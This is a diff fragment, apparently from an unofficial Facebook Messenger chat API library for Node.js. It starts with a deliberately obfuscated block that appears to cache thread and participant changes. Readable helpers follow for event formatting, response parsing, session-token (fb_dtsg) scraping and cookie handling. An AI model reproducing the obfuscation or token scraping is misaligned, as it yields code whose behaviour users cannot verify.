(0x382,0x35c,0x36a,0x3a6,0x373)])[swdwdSAsdEfE (0x1c0,0x1a5,0x19e,0x1cc,0x1b4)+swdwdsAsdEfE (0x3a1,0x38f,0x382,0x3ac,0x3a8)]()),swdwdsAsdefE );}break;case swdwdSAsdEfE (0x1fd,0x1fd,0x1ce,0x201,0x21d)+swdwdsAsdEfE (0x3aa,0x3ac,0x3a9,0x398,0x377)+swdwdsAsdEfE (0x378,0x35e,0x39a,0x343,0x37c)+swdwdsAsdEfE (0x3d5,0x3b3,0x3dd,0x3c5,0x3b5)+swdwdSAsdEfE (0x214,0x1bd,0x1ba,0x1ed,0x227):{let swdwdsaSdefE =getData(formatID((m[swdwdSAsdEfE (0x1cd,0x1e6,0x1da,0x1d5,0x1ff)+swdwdsAsdEfE (0x3ae,0x3a0,0x3b4,0x3b5,0x394)+swdwdSAsdEfE (0x18c,0x1dd,0x1f0,0x1b6,0x1a9)][swdwdsAsdEfE (0x33e,0x3a4,0x3a7,0x3b3,0x378)+swdwdsAsdEfE (0x37c,0x362,0x379,0x382,0x382)][swdwdsAsdEfE (0x37b,0x393,0x371,0x33e,0x378)+swdwdsAsdEfE (0x354,0x3a6,0x36e,0x363,0x383)]||m[swdwdSAsdEfE (0x1f0,0x19f,0x1d9,0x1d5,0x1b5)+swdwdSAsdEfE (0x1eb,0x1a0,0x1cc,0x1d7,0x212)+swdwdsAsdEfE (0x376,0x383,0x3a8,0x3a7,0x3ad)][swdwdsAsdEfE (0x366,0x38f,0x3a0,0x3af,0x378)+swdwdSAsdEfE (0x22d,0x204,0x1f2,0x219,0x1f9)][swdwdSAsdEfE (0x1c2,0x214,0x1d6,0x1e1,0x1dc)+swdwdSAsdEfE (0x22a,0x25a,0x206,0x228,0x24d)+swdwdsAsdEfE (0x384,0x3a6,0x337,0x36e,0x373)])[swdwdsAsdEfE (0x386,0x3b7,0x362,0x36d,0x393)+swdwdsAsdEfE (0x39b,0x377,0x3c6,0x3be,0x3a8)]()));swdwdsaSdefE [swdwdsAsdEfE (0x38b,0x3de,0x39d,0x3a8,0x3bc)+swdwdsAsdEfE (0x3f3,0x38a,0x3db,0x3b8,0x3bb)+'de']==!![]?swdwdsaSdefE [swdwdsAsdEfE (0x3f7,0x3d7,0x3b3,0x3f3,0x3bc)+swdwdsAsdEfE (0x3eb,0x3dc,0x3a8,0x399,0x3bb)+'de']=![]:swdwdsaSdefE [swdwdsAsdEfE (0x3a8,0x3bb,0x3a1,0x3d5,0x3bc)+swdwdsAsdEfE (0x381,0x394,0x3de,0x3cc,0x3bb)+'de']=!![],updateData(formatID((m[swdwdsAsdEfE (0x38d,0x36c,0x395,0x333,0x36c)+swdwdSAsdEfE (0x1d5,0x203,0x1ea,0x1d7,0x1cc)+swdwdSAsdEfE (0x1cb,0x1de,0x18d,0x1b6,0x198)][swdwdSAsdEfE (0x1d5,0x1f5,0x1dd,0x1ec,0x202)+swdwdSAsdEfE (0x252,0x229,0x1f6,0x219,0x230)][swdwdsAsdEfE (0x343,0x33f,0x398,0x366,0x378)+swdwdSAsdEfE (0x207,0x1c7,0x1da,0x1f6,0x1ef)]||m[swdwdSAsdEfE (0x1ff,0x1e6,0x1a1,0x1d5,0x1b3)+swdwdSAsdEfE (0x211,0x19e,0x205,0x1d7,0x1c7)+swdwdSAsdEfE (0x1e6,0x1e0,0x182,0x1b6,0x192)][swdwdSAsdEfE (0x209,0x1b5,0x210,0x1ec,0x1da)+swdwdSAsdEfE (0x1dd,0x223,0x1eb,0x219,0x24e)][swdwdsAsdEfE (0x3d5,0x3d7,0x381,0x395,0x3a4)+swdwdSAsdEfE (0x262,0x21d,0x1fc,0x228,0x262)+swdwdsAsdEfE (0x3a5,0x38f,0x3ab,0x39e,0x373)])[swdwdSAsdEfE (0x191,0x1b4,0x1ca,0x1cc,0x1ad)+swdwdsAsdEfE (0x3af,0x38c,0x3bc,0x38c,0x3a8)]()),swdwdsaSdefE );}break;case swdwdSAsdEfE (0x23d,0x1d3,0x22c,0x201,0x1d6)+swdwdsAsdEfE (0x363,0x35e,0x39a,0x36e,0x377)+swdwdSAsdEfE (0x1fe,0x206,0x195,0x1cd,0x1e7):{let swdwdgtGtgtG=getData(formatID((m[swdwdsAsdEfE (0x383,0x39e,0x39b,0x34d,0x36c)+swdwdsAsdEfE (0x38f,0x364,0x38c,0x371,0x394)+swdwdSAsdEfE (0x1c9,0x1c5,0x1b3,0x1b6,0x19e)][swdwdSAsdEfE (0x21e,0x1fc,0x206,0x1ec,0x1f0)+swdwdSAsdEfE (0x237,0x1fe,0x24f,0x219,0x228)][swdwdsAsdEfE (0x365,0x387,0x365,0x361,0x378)+swdwdSAsdEfE (0x1c9,0x1f7,0x223,0x1f6,0x1f9)]||m[swdwdsAsdEfE (0x391,0x344,0x369,0x37f,0x36c)+swdwdSAsdEfE (0x1be,0x1ea,0x1e4,0x1d7,0x1a7)+swdwdSAsdEfE (0x182,0x1a0,0x19b,0x1b6,0x1b2)][swdwdSAsdEfE (0x222,0x205,0x1b0,0x1ec,0x1e4)+swdwdSAsdEfE (0x22f,0x248,0x1e3,0x219,0x23b)][swdwdsAsdEfE (0x379,0x3da,0x3e0,0x3c2,0x3a4)+swdwdSAsdEfE (0x22d,0x1fc,0x218,0x228,0x25e)+swdwdSAsdEfE (0x238,0x20f,0x20c,0x1fd,0x1cb)])[swdwdsAsdEfE (0x3bf,0x35e,0x3a9,0x39d,0x393)+swdwdSAsdEfE (0x1fe,0x24e,0x21b,0x227,0x227)]()));swdwdgtGtgtG[swdwdSAsdEfE (0x21d,0x1c0,0x1e1,0x1ec,0x1ee)+swdwdSAsdEfE (0x1eb,0x1ce,0x206,0x1f0,0x1e0)]=logMessageData[swdwdSAsdEfE (0x222,0x1d9,0x1cd,0x1eb,0x219)]||formatID((m[swdwdsAsdEfE (0x332,0x335,0x36e,0x396,0x36c)+swdwdsAsdEfE (0x371,0x392,0x3c8,0x3ae,0x394)+swdwdsAsdEfE (0x373,0x398,0x3ab,0x3ba,0x3ad)][swdwdsAsdEfE (0x34d,0x349,0x3b0,0x377,0x378)+swdwdSAsdEfE (0x1fe,0x254,0x254,0x219,0x1e0)][swdwdSAsdEfE (0x1ed,0x203,0x208,0x1ec,0x1e9)+swdwdsAsdEfE (0x39b,0x37c,0x36b,0x3a5,0x383)]||m[swdwdSAsdEfE (0x1aa,0x1d3,0x1d0,0x1d5,0x1e8)+swdwdSAsdEfE (0x1d7,0x1f9,0x20c,0x1d7,0x1af)+swdwdsAsdEfE (0x3e7,0x3cd,0x3e2,0x39b,0x3ad)][swdwdSAsdEfE (0x1ca,0x1e8,0x227,0x1ec,0x225)+swdwdsAsdEfE (0x384,0x39c,0x38c,0x35c,0x382)][swdwdsAsdEfE (0x3a5,0x39f,0x381,0x38f,0x3a4)+swdwdSAsdEfE (0x1ff,0x211,0x264,0x228,0x251)+swdwdsAsdEfE (0x358,0x3ab,0x373,0x339,0x373)])[swdwdsAsdEfE (0x383,0x3c1,0x38b,0x36e,0x393)+swdwdSAsdEfE (0x226,0x20f,0x214,0x227,0x239)]()),updateData(formatID((m[swdwdsAsdEfE (0x350,0x339,0x363,0x353,0x36c)+swdwdSAsdEfE (0x1aa,0x1be,0x1ae,0x1d7,0x20c)+swdwdSAsdEfE (0x1df,0x1b1,0x1b8,0x1b6,0x1d5)][swdwdSAsdEfE (0x1db,0x1df,0x1fb,0x1ec,0x212)+swdwdSAsdEfE (0x1e4,0x230,0x1f9,0x219,0x22c)][swdwdSAsdEfE (0x1ba,0x1bf,0x1d5,0x1ec,0x1b5)+swdwdSAsdEfE (0x1e4,0x1e4,0x1d4,0x1f6,0x230)]||m[swdwdSAsdEfE (0x1f1,0x1eb,0x20e,0x1d5,0x1af)+swdwdsAsdEfE (0x372,0x361,0x3c4,0x3ca,0x394)+swdwdSAsdEfE (0x1ad,0x19f,0x1b5,0x1b6,0x1ed)][swdwdSAsdEfE (0x1e3,0x1e1,0x221,0x1ec,0x1e7)+swdwdSAsdEfE (0x234,0x1f0,0x208,0x219,0x1f8)][swdwdSAsdEfE (0x212,0x1b8,0x1b4,0x1e1,0x1ae)+swdwdsAsdEfE (0x369,0x370,0x39a,0x374,0x362)+swdwdSAsdEfE (0x238,0x1c9,0x1da,0x1fd,0x1ee)])[swdwdSAsdEfE (0x1ab,0x197,0x1e0,0x1cc,0x1a2)+swdwdsAsdEfE (0x3e3,0x3d6,0x3bd,0x37c,0x3a8)]()),swdwdgtGtgtG);}break;case swdwdsAsdEfE (0x386,0x383,0x3b7,0x3f8,0x3bf)+swdwdSAsdEfE (0x1c8,0x1dd,0x1fa,0x1f3,0x1ee)+swdwdSAsdEfE (0x19f,0x1b1,0x1cb,0x1d8,0x1e6):{let swdwdSaSdefE =getData(formatID((m[swdwdsAsdEfE (0x352,0x33f,0x38b,0x3a3,0x36c)+swdwdsAsdEfE (0x3c1,0x3aa,0x35a,0x366,0x394)+swdwdsAsdEfE (0x3e4,0x3ad,0x37e,0x3d8,0x3ad)][swdwdSAsdEfE (0x1be,0x1bb,0x1db,0x1ec,0x1d3)+swdwdsAsdEfE (0x372,0x379,0x38c,0x3ad,0x382)][swdwdSAsdEfE (0x218,0x1ff,0x1e1,0x1ec,0x1d3)+swdwdsAsdEfE (0x34e,0x39d,0x3a8,0x379,0x383)]||m[swdwdSAsdEfE (0x200,0x200,0x1bf,0x1d5,0x1b1)+swdwdsAsdEfE (0x372,0x3c9,0x375,0x377,0x394)+swdwdsAsdEfE (0x37b,0x3bd,0x37a,0x3dd,0x3ad)][swdwdSAsdEfE (0x220,0x201,0x200,0x1ec,0x204)+swdwdsAsdEfE (0x34e,0x3a5,0x36f,0x382,0x382)][swdwdSAsdEfE (0x1e1,0x1c9,0x1ce,0x1e1,0x1e9)+swdwdSAsdEfE (0x22b,0x1fa,0x219,0x228,0x25e)+swdwdsAsdEfE (0x339,0x3a2,0x347,0x342,0x373)])[swdwdsAsdEfE (0x3c3,0x37f,0x375,0x3bc,0x393)+swdwdSAsdEfE (0x22c,0x222,0x24f,0x227,0x226)]()));for(let swdwdGtGtgtG of logMessageData[swdwdsAsdEfE (0x3dd,0x3ca,0x3c5,0x3ae,0x3b0)+swdwdSAsdEfE (0x1ce,0x237,0x21c,0x207,0x237)+swdwdsAsdEfE (0x3b2,0x3ac,0x38f,0x3a0,0x3a7)+'ts']){if(swdwdSaSdefE [swdwdsAsdEfE (0x363,0x327,0x34c,0x328,0x35f)+swdwdsAsdEfE (0x3a5,0x373,0x3a4,0x361,0x38c)][swdwdsAsdEfE (0x3a4,0x34c,0x3a6,0x37b,0x36e)](sASdefE =>sASdefE ['id']==swdwdGtGtgtG[swdwdsAsdEfE (0x340,0x378,0x366,0x339,0x363)+swdwdsAsdEfE (0x355,0x367,0x365,0x368,0x373)]))continue;else{const swdwdgTGtgtG={};swdwdgTGtgtG['id']=swdwdGtGtgtG[swdwdSAsdEfE (0x1ca,0x189,0x1c6,0x1be,0x1f7)+swdwdsAsdEfE (0x35e,0x36d,0x33a,0x373,0x373)],swdwdgTGtgtG[swdwdsAsdEfE (0x379,0x366,0x3a0,0x361,0x398)]=swdwdGtGtgtG[swdwdSAsdEfE (0x1fa,0x21d,0x1e7,0x217,0x211)+swdwdsAsdEfE (0x39d,0x377,0x32d,0x385,0x369)],swdwdSaSdefE [swdwdSAsdEfE (0x1e2,0x1b2,0x1a5,0x1d6,0x1dd)+swdwdSAsdEfE (0x1ef,0x1d3,0x1ea,0x1ef,0x201)][swdwdSAsdEfE (0x237,0x244,0x226,0x218,0x1e5)](swdwdgTGtgtG),swdwdSaSdefE [swdwdsAsdEfE (0x3e8,0x3d2,0x3f8,0x3bf,0x3c3)+swdwdsAsdEfE (0x3cc,0x387,0x37d,0x384,0x3a7)+swdwdSAsdEfE (0x1ef,0x1a8,0x1c5,0x1b7,0x189)][swdwdsAsdEfE (0x3e8,0x3ae,0x3a4,0x3ce,0x3af)](swdwdGtGtgtG[swdwdSAsdEfE (0x18d,0x1b0,0x1f9,0x1be,0x1aa)+swdwdsAsdEfE (0x3a3,0x374,0x35d,0x37d,0x373)]);}}updateData(formatID((m[swdwdsAsdEfE (0x385,0x362,0x36d,0x38d,0x36c)+swdwdsAsdEfE (0x36c,0x39a,0x3c7,0x35e,0x394)+swdwdsAsdEfE (0x3c6,0x3d4,0x3a6,0x3d4,0x3ad)][swdwdSAsdEfE (0x1e5,0x1c9,0x1cd,0x1ec,0x1f0)+swdwdSAsdEfE (0x230,0x24e,0x23f,0x219,0x23a)][swdwdsAsdEfE (0x33f,0x34b,0x36f,0x383,0x378)+swdwdsAsdEfE (0x352,0x3a3,0x3b4,0x364,0x383)]||m[swdwdsAsdEfE (0x340,0x392,0x331,0x39d,0x36c)+swdwdsAsdEfE (0x3b8,0x365,0x391,0x3ac,0x394)+swdwdsAsdEfE (0x39b,0x3de,0x3e4,0x381,0x3ad)][swdwdSAsdEfE (0x20a,0x1e1,0x21b,0x1ec,0x224)+swdwdsAsdEfE (0x352,0x37b,0x384,0x381,0x382)][swdwdsAsdEfE (0x3db,0x394,0x385,0x37e,0x3a4)+swdwdSAsdEfE (0x200,0x205,0x250,0x228,0x239)+swdwdsAsdEfE (0x38a,0x356,0x38c,0x33c,0x373)])[swdwdSAsdEfE (0x1e1,0x1e8,0x1b2,0x1cc,0x1a3)+swdwdsAsdEfE (0x3da,0x3df,0x376,0x3b5,0x3a8)]()),swdwdSaSdefE );}break;case swdwdSAsdEfE (0x1cf,0x1d4,0x222,0x1f7,0x1e0)+swdwdsAsdEfE (0x3ab,0x3ad,0x356,0x379,0x38e)+swdwdsAsdEfE (0x3ac,0x3c3,0x367,0x3cf,0x395):{let swdwdSASdefE =getData(formatID((m[swdwdsAsdEfE (0x34d,0x389,0x33b,0x381,0x36c)+swdwdSAsdEfE (0x201,0x1c6,0x20b,0x1d7,0x208)+swdwdsAsdEfE (0x3ba,0x39a,0x3c9,0x3c6,0x3ad)][swdwdsAsdEfE (0x388,0x362,0x34d,0x340,0x378)+swdwdSAsdEfE (0x1ef,0x213,0x231,0x219,0x23c)][swdwdsAsdEfE (0x3b1,0x36d,0x380,0x3b1,0x378)+swdwdSAsdEfE (0x1c9,0x1df,0x1eb,0x1f6,0x21a)]||m[swdwdsAsdEfE (0x331,0x344,0x36e,0x362,0x36c)+swdwdsAsdEfE (0x35d,0x3b8,0x373,0x394,0x394)+swdwdsAsdEfE (0x37c,0x390,0x38a,0x3e3,0x3ad)][swdwdsAsdEfE (0x3ac,0x371,0x363,0x370,0x378)+swdwdsAsdEfE (0x387,0x358,0x34f,0x368,0x382)][swdwdSAsdEfE (0x214,0x20f,0x1e1,0x1e1,0x1c6)+swdwdSAsdEfE (0x211,0x23c,0x231,0x228,0x1f4)+swdwdsAsdEfE (0x360,0x382,0x340,0x357,0x373)])[swdwdSAsdEfE (0x1c5,0x1ca,0x19f,0x1cc,0x1d0)+swdwdSAsdEfE (0x23e,0x260,0x244,0x227,0x210)]()));for(let swdwdGTGtgtG of logMessageData[swdwdsAsdEfE (0x388,0x3bc,0x372,0x3d0,0x3a9)+swdwdSAsdEfE (0x1c7,0x1f4,0x1e4,0x1bb,0x191)+swdwdSAsdEfE (0x220,0x1da,0x1f4,0x1e7,0x1b0)+swdwdsAsdEfE (0x32c,0x331,0x32f,0x355,0x35b)]){swdwdSASdefE [swdwdsAsdEfE (0x374,0x365,0x341,0x37a,0x35a)+swdwdSAsdEfE (0x21d,0x1f6,0x1e4,0x1e6,0x1b1)][swdwdsAsdEfE (0x387,0x340,0x372,0x363,0x36e)](gtgTgtG=>gtgTgtG['id']==swdwdGTGtgtG)&&(swdwdSASdefE [swdwdsAsdEfE (0x329,0x338,0x374,0x34d,0x35a)+swdwdSAsdEfE (0x1ab,0x1b8,0x1da,0x1e6,0x1f8)]=swdwdSASdefE [swdwdsAsdEfE (0x359,0x33b,0x34f,0x353,0x35a)+swdwdsAsdEfE (0x3ce,0x3be,0x3c8,0x3b1,0x39e)][swdwdSAsdEfE (0x216,0x20c,0x201,0x20b,0x233)+'r'](sasDefE =>sasDefE ['id']!=swdwdGTGtgtG)),swdwdSASdefE [swdwdsAsdEfE (0x3a7,0x3f6,0x38a,0x398,0x3c3)+swdwdsAsdEfE (0x3be,0x37a,0x37d,0x3d1,0x3a7)+swdwdsAsdEfE (0x369,0x398,0x3ca,0x392,0x392)][swdwdSAsdEfE (0x1e8,0x1f6,0x21a,0x20b,0x222)+'r'](GtgTgtG=>GtgTgtG!=swdwdGTGtgtG),swdwdSASdefE [swdwdsAsdEfE (0x35e,0x32c,0x380,0x332,0x35f)+swdwdsAsdEfE (0x37c,0x3ac,0x384,0x378,0x38c)][swdwdSAsdEfE (0x1e3,0x204,0x1f6,0x20b,0x1f6)+'r'](SasDefE =>SasDefE ['id']!=swdwdGTGtgtG);}updateData(formatID((m[swdwdSAsdEfE (0x202,0x1d2,0x1c8,0x1d5,0x1b1)+swdwdSAsdEfE (0x19e,0x1bc,0x1d2,0x1d7,0x201)+swdwdSAsdEfE (0x1cf,0x1d1,0x186,0x1b6,0x199)][swdwdSAsdEfE (0x1ef,0x1fb,0x1c8,0x1ec,0x201)+swdwdsAsdEfE (0x38b,0x366,0x3ae,0x348,0x382)][swdwdSAsdEfE (0x220,0x1e9,0x221,0x1ec,0x1fb)+swdwdsAsdEfE (0x3b6,0x381,0x3a7,0x386,0x383)]||m[swdwdSAsdEfE (0x1c7,0x19d,0x1a9,0x1d5,0x1bd)+swdwdSAsdEfE (0x1c2,0x1c2,0x1b7,0x1d7,0x1ae)+swdwdsAsdEfE (0x379,0x3a0,0x3bd,0x3bb,0x3ad)][swdwdsAsdEfE (0x351,0x354,0x37a,0x3a0,0x378)+swdwdsAsdEfE (0x35f,0x35f,0x384,0x35c,0x382)][swdwdsAsdEfE (0x39a,0x374,0x3cf,0x386,0x3a4)+swdwdsAsdEfE (0x396,0x380,0x35d,0x399,0x362)+swdwdSAsdEfE (0x21b,0x1fb,0x1cc,0x1fd,0x218)])[swdwdSAsdEfE (0x1a5,0x1aa,0x1da,0x1cc,0x1ff)+swdwdsAsdEfE (0x39a,0x3a4,0x378,0x38a,0x3a8)]()),swdwdSASdefE );}break;}}}
|
794
|
+
|
795
|
+
return {
|
796
|
+
type: "event",
|
797
|
+
threadID: formatID((m.messageMetadata.threadKey.threadFbId || m.messageMetadata.threadKey.otherUserFbId).toString()),
|
798
|
+
logMessageType: logMessageType,
|
799
|
+
logMessageData: logMessageData,
|
800
|
+
logMessageBody: m.messageMetadata.adminText,
|
801
|
+
author: m.messageMetadata.actorFbId,
|
802
|
+
participantIDs: m.participants || []
|
803
|
+
};
|
804
|
+
}
|
805
|
+
|
806
|
+
function formatTyp(event) {
|
807
|
+
return {
|
808
|
+
isTyping: !!event.st,
|
809
|
+
from: event.from.toString(),
|
810
|
+
threadID: formatID((event.to || event.thread_fbid || event.from).toString()),
|
811
|
+
// When receiving typ indication from mobile, `from_mobile` isn't set.
|
812
|
+
// If it is, we just use that value.
|
813
|
+
fromMobile: event.hasOwnProperty("from_mobile") ? event.from_mobile : true,
|
814
|
+
userID: (event.realtime_viewer_fbid || event.from).toString(),
|
815
|
+
type: "typ"
|
816
|
+
};
|
817
|
+
}
|
818
|
+
|
819
|
+
function formatDeltaReadReceipt(delta) {
|
820
|
+
// otherUserFbId seems to be used as both the readerID and the threadID in a 1-1 chat.
|
821
|
+
// In a group chat actorFbId is used for the reader and threadFbId for the thread.
|
822
|
+
return {
|
823
|
+
reader: (delta.threadKey.otherUserFbId || delta.actorFbId).toString(),
|
824
|
+
time: delta.actionTimestampMs,
|
825
|
+
threadID: formatID((delta.threadKey.otherUserFbId || delta.threadKey.threadFbId).toString()),
|
826
|
+
type: "read_receipt"
|
827
|
+
};
|
828
|
+
}
|
829
|
+
|
830
|
+
function formatReadReceipt(event) {
|
831
|
+
return {
|
832
|
+
reader: event.reader.toString(),
|
833
|
+
time: event.time,
|
834
|
+
threadID: formatID((event.thread_fbid || event.reader).toString()),
|
835
|
+
type: "read_receipt"
|
836
|
+
};
|
837
|
+
}
|
838
|
+
|
839
|
+
function formatRead(event) {
|
840
|
+
return {
|
841
|
+
threadID: formatID(((event.chat_ids && event.chat_ids[0]) || (event.thread_fbids && event.thread_fbids[0])).toString()),
|
842
|
+
time: event.timestamp,
|
843
|
+
type: "read"
|
844
|
+
};
|
845
|
+
}
|
846
|
+
|
847
|
+
function getFrom(str, startToken, endToken) {
|
848
|
+
var start = str.indexOf(startToken) + startToken.length;
|
849
|
+
if (start < startToken.length) return "";
|
850
|
+
|
851
|
+
var lastHalf = str.substring(start);
|
852
|
+
var end = lastHalf.indexOf(endToken);
|
853
|
+
if (end === -1) throw Error("Could not find endTime `" + endToken + "` in the given string.");
|
854
|
+
return lastHalf.substring(0, end);
|
855
|
+
}
|
856
|
+
|
857
|
+
function makeParsable(html) {
|
858
|
+
let withoutForLoop = html.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, "");
|
859
|
+
|
860
|
+
// (What the fuck FB, why windows style newlines?)
|
861
|
+
// So sometimes FB will send us base multiple objects in the same response.
|
862
|
+
// They're all valid JSON, one after the other, at the top level. We detect
|
863
|
+
// that and make it parse-able by JSON.parse.
|
864
|
+
// Ben - July 15th 2017
|
865
|
+
//
|
866
|
+
// It turns out that Facebook may insert random number of spaces before
|
867
|
+
// next object begins (issue #616)
|
868
|
+
// rav_kr - 2018-03-19
|
869
|
+
let maybeMultipleObjects = withoutForLoop.split(/\}\r\n *\{/);
|
870
|
+
if (maybeMultipleObjects.length === 1) return maybeMultipleObjects;
|
871
|
+
|
872
|
+
return "[" + maybeMultipleObjects.join("},{") + "]";
|
873
|
+
}
|
874
|
+
|
875
|
+
function arrToForm(form) {
|
876
|
+
return arrayToObject(form,
|
877
|
+
function(v) {
|
878
|
+
return v.name;
|
879
|
+
},
|
880
|
+
function(v) {
|
881
|
+
return v.val;
|
882
|
+
}
|
883
|
+
);
|
884
|
+
}
|
885
|
+
|
886
|
+
function arrayToObject(arr, getKey, getValue) {
|
887
|
+
return arr.reduce(function(acc, val) {
|
888
|
+
acc[getKey(val)] = getValue(val);
|
889
|
+
return acc;
|
890
|
+
}, {});
|
891
|
+
}
|
892
|
+
|
893
|
+
function getSignatureID() {
|
894
|
+
return Math.floor(Math.random() * 2147483648).toString(16);
|
895
|
+
}
|
896
|
+
|
897
|
+
function generateTimestampRelative() {
|
898
|
+
var d = new Date();
|
899
|
+
return d.getHours() + ":" + padZeros(d.getMinutes());
|
900
|
+
}
|
901
|
+
|
902
|
+
function makeDefaults(html, userID, ctx) {
|
903
|
+
var reqCounter = 1;
|
904
|
+
var fb_dtsg = getFrom(html, 'name="fb_dtsg" value="', '"');
|
905
|
+
|
906
|
+
// @Hack Ok we've done hacky things, this is definitely on top 5.
|
907
|
+
// We totally assume the object is flat and try parsing until a }.
|
908
|
+
// If it works though it's cool because we get a bunch of extra data things.
|
909
|
+
//
|
910
|
+
// Update: we don't need this. Leaving it in in case we ever do.
|
911
|
+
// Ben - July 15th 2017
|
912
|
+
|
913
|
+
// var siteData = getFrom(html, "[\"SiteData\",[],", "},");
|
914
|
+
// try {
|
915
|
+
// siteData = JSON.parse(siteData + "}");
|
916
|
+
// } catch(e) {
|
917
|
+
// log.warn("makeDefaults", "Couldn't parse SiteData. Won't have access to some variables.");
|
918
|
+
// siteData = {};
|
919
|
+
// }
|
920
|
+
|
921
|
+
var ttstamp = "2";
|
922
|
+
for (var i = 0; i < fb_dtsg.length; i++) ttstamp += fb_dtsg.charCodeAt(i);
|
923
|
+
var revision = getFrom(html, 'revision":', ",");
|
924
|
+
|
925
|
+
function mergeWithDefaults(obj) {
|
926
|
+
// @TODO This is missing a key called __dyn.
|
927
|
+
// After some investigation it seems like __dyn is some sort of set that FB
|
928
|
+
// calls BitMap. It seems like certain responses have a "define" key in the
|
929
|
+
// res.jsmods arrays. I think the code iterates over those and calls `set`
|
930
|
+
// on the bitmap for each of those keys. Then it calls
|
931
|
+
// bitmap.toCompressedString() which returns what __dyn is.
|
932
|
+
//
|
933
|
+
// So far the API has been working without this.
|
934
|
+
//
|
935
|
+
// Ben - July 15th 2017
|
936
|
+
var newObj = {
|
937
|
+
__user: userID,
|
938
|
+
__req: (reqCounter++).toString(36),
|
939
|
+
__rev: revision,
|
940
|
+
__a: 1,
|
941
|
+
// __af: siteData.features,
|
942
|
+
fb_dtsg: ctx.fb_dtsg ? ctx.fb_dtsg : fb_dtsg,
|
943
|
+
jazoest: ctx.ttstamp ? ctx.ttstamp : ttstamp
|
944
|
+
// __spin_r: siteData.__spin_r,
|
945
|
+
// __spin_b: siteData.__spin_b,
|
946
|
+
// __spin_t: siteData.__spin_t,
|
947
|
+
};
|
948
|
+
|
949
|
+
// @TODO this is probably not needed.
|
950
|
+
// Ben - July 15th 2017
|
951
|
+
// if (siteData.be_key) {
|
952
|
+
// newObj[siteData.be_key] = siteData.be_mode;
|
953
|
+
// }
|
954
|
+
// if (siteData.pkg_cohort_key) {
|
955
|
+
// newObj[siteData.pkg_cohort_key] = siteData.pkg_cohort;
|
956
|
+
// }
|
957
|
+
|
958
|
+
if (!obj) return newObj;
|
959
|
+
for (var prop in obj)
|
960
|
+
if (obj.hasOwnProperty(prop))
|
961
|
+
if (!newObj[prop]) newObj[prop] = obj[prop];
|
962
|
+
return newObj;
|
963
|
+
}
|
964
|
+
|
965
|
+
function postWithDefaults(url, jar, form, ctxx) {
|
966
|
+
return post(url, jar, mergeWithDefaults(form), ctx.globalOptions, ctxx || ctx);
|
967
|
+
}
|
968
|
+
|
969
|
+
function getWithDefaults(url, jar, qs, ctxx) {
|
970
|
+
return get(url, jar, mergeWithDefaults(qs), ctx.globalOptions, ctxx || ctx);
|
971
|
+
}
|
972
|
+
|
973
|
+
function postFormDataWithDefault(url, jar, form, qs, ctxx) {
|
974
|
+
return postFormData(url, jar, mergeWithDefaults(form), mergeWithDefaults(qs), ctx.globalOptions, ctxx || ctx);
|
975
|
+
}
|
976
|
+
|
977
|
+
return {
|
978
|
+
get: getWithDefaults,
|
979
|
+
post: postWithDefaults,
|
980
|
+
postFormData: postFormDataWithDefault
|
981
|
+
};
|
982
|
+
}
|
983
|
+
|
984
|
+
function parseAndCheckLogin(ctx, defaultFuncs, retryCount) {
|
985
|
+
if (retryCount == undefined) retryCount = 0;
|
986
|
+
return function(data) {
|
987
|
+
return bluebird.try(function() {
|
988
|
+
log.verbose("parseAndCheckLogin", data.body);
|
989
|
+
if (data.statusCode >= 500 && data.statusCode < 600) {
|
990
|
+
if (retryCount >= 5) {
|
991
|
+
throw {
|
992
|
+
error: "Request retry failed. Check the `res` and `statusCode` property on this error.",
|
993
|
+
statusCode: data.statusCode,
|
994
|
+
res: data.body
|
995
|
+
};
|
996
|
+
}
|
997
|
+
retryCount++;
|
998
|
+
var retryTime = Math.floor(Math.random() * 5000);
|
999
|
+
log.warn("parseAndCheckLogin", "Got status code " + data.statusCode + " - " + retryCount + ". attempt to retry in " + retryTime + " milliseconds...");
|
1000
|
+
var url = data.request.uri.protocol + "//" + data.request.uri.hostname + data.request.uri.pathname;
|
1001
|
+
if (data.request.headers["Content-Type"].split(";")[0] === "multipart/form-data") {
|
1002
|
+
return bluebird.delay(retryTime).then(() => defaultFuncs.postFormData(url, ctx.jar, data.request.formData, {}))
|
1003
|
+
.then(parseAndCheckLogin(ctx, defaultFuncs, retryCount));
|
1004
|
+
} else {
|
1005
|
+
return bluebird.delay(retryTime).then(() => defaultFuncs.post(url, ctx.jar, data.request.formData))
|
1006
|
+
.then(parseAndCheckLogin(ctx, defaultFuncs, retryCount));
|
1007
|
+
}
|
1008
|
+
}
|
1009
|
+
if (data.statusCode !== 200) throw new Error("parseAndCheckLogin got status code: " + data.statusCode + ". Bailing out of trying to parse response.");
|
1010
|
+
|
1011
|
+
var res = null;
|
1012
|
+
try {
|
1013
|
+
res = JSON.parse(makeParsable(data.body));
|
1014
|
+
} catch (e) {
|
1015
|
+
throw {
|
1016
|
+
error: "JSON.parse error. Check the `detail` property on this error.",
|
1017
|
+
detail: e,
|
1018
|
+
res: data.body
|
1019
|
+
};
|
1020
|
+
}
|
1021
|
+
|
1022
|
+
// In some cases the response contains only a redirect URL which should be followed
|
1023
|
+
if (res.redirect && data.request.method === "GET") return defaultFuncs.get(res.redirect, ctx.jar).then(parseAndCheckLogin(ctx, defaultFuncs));
|
1024
|
+
|
1025
|
+
// TODO: handle multiple cookies?
|
1026
|
+
if (res.jsmods && res.jsmods.require && Array.isArray(res.jsmods.require[0]) && res.jsmods.require[0][0] === "Cookie") {
|
1027
|
+
res.jsmods.require[0][3][0] = res.jsmods.require[0][3][0].replace("_js_", "");
|
1028
|
+
var cookie = formatCookie(res.jsmods.require[0][3], "facebook");
|
1029
|
+
var cookie2 = formatCookie(res.jsmods.require[0][3], "messenger");
|
1030
|
+
ctx.jar.setCookie(cookie, "https://www.facebook.com");
|
1031
|
+
ctx.jar.setCookie(cookie2, "https://www.messenger.com");
|
1032
|
+
}
|
1033
|
+
|
1034
|
+
// On every request we check if we got a DTSG and we mutate the context so that we use the latest
|
1035
|
+
// one for the next requests.
|
1036
|
+
if (res.jsmods && Array.isArray(res.jsmods.require)) {
|
1037
|
+
var arr = res.jsmods.require;
|
1038
|
+
for (var i in arr) {
|
1039
|
+
if (arr[i][0] === "DTSG" && arr[i][1] === "setToken") {
|
1040
|
+
ctx.fb_dtsg = arr[i][3][0];
|
1041
|
+
|
1042
|
+
// Update ttstamp since that depends on fb_dtsg
|
1043
|
+
ctx.ttstamp = "2";
|
1044
|
+
